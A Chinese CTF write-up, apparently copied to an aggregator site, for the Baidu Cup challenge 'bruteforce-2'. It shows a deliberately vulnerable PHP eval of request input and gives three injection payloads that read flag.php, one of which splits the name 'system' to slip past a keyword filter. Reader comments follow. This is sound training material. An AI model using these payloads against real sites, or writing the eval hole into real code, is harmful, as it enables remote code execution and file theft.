美文网首页学习喵喵?CTFCTF
[百度杯-二月场](Misc-Web)爆破-2

[百度杯-二月场](Misc-Web)爆破-2

作者: 王一航 | 来源:发表于2017-02-21 15:16 被阅读167次

简介 :


分值:10分 类型:Misc Web已解答

题目:
flag不在变量中。

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);


解法 :


利用的方式类似于SQL注入 , 我们知道 eval 函数的功能就是讲一个字符串当作 php 的代码进行执行
那么 , 我们可以传递一个值去闭合 var_dump 的左括号 , 剩下的代码就可以由我们来控制了
下面给出三种 paylaod :

1. ?hello=$a);print_r(file("./flag.php")); //
2. ?hello=$a);echo `cat ./flag.php`; // 
注意这里是反引号 , 在 bash 中反引号括起来的字符串也是会被当成代码执行
3. ?hello=$a);$a="sys";$b="tem";$c=$a.$b;echo%20$c;$c("cat%20./flag.php"); // 
这里发现 i春秋 在http请求中拦截了 system 函数等关键字 , 
因此可以通过 php 的字符串连接成为函数名 , 然后进行调用
这里其实是把 system 函数名作为字符串分开 , 这样在 http 请求头中不会出现 "system(xxx)" 这样的关键字

相关文章

网友评论

  • 傻傻笨笨宝宝:payload中使用$a);不好吧 会报错吧,在第一次给a赋值的时候,字符串中有a变量,但是a没有定义吧:smile:
    王一航: @傻傻笨笨宝宝 也对 , 似乎前面 var_dump 一个常量更好一些
    王一航: @傻傻笨笨宝宝 没太懂你的意思诶……代码里面不是定义了 a 这个变量吗……
  • SaySeaKing:闭合var _dump 没懂啥意思。有空的话qq上回复我下,:stuck_out_tongue_winking_eye::stuck_out_tongue_winking_eye:
    王一航: @SaySeaKing 也就是,举个例子,假如你传递的参数hello的值是 <$a);echo `cat ./flag.php`; // > ( 尖括号只是为了表示范围 ) , 这是作为一个整体传递的 , 在php中将它赋值给了变量啊 a , 然后又调用 eval 函数 , eval 函数的参数是一个字符串 , 而在php中 , 双引号引起来的字符串中的变量会被释放成变量的值(单引号则不会) , 那么这样的话 , 最终被 eval 执行的就是 : <eval( "var_dump($a);echo `cat ./flag.php`; // );");> 这样 , 可以看到 分号后面到注释号之间的所有代码就都可以由我们自己控制了 , 这里注释号是为了让php忽略掉后面的右括号 , 因为这会造成语法错误 , 当然你也可以随便写一个能和后面的括号匹配上的函数 , 这样也行
    王一航: @SaySeaKing 就是和sql注入中闭合前面的引号(括号)差不多 , 闭合了之后剩下的部分就可以由我们自己控制 , 也就达到了任意代码执行的目的
    王一航: @SaySeaKing http://m.jb51.net/article/55827.htm

本文标题:[百度杯-二月场](Misc-Web)爆破-2

本文链接:https://www.haomeiwen.com/subject/rhruwttx.html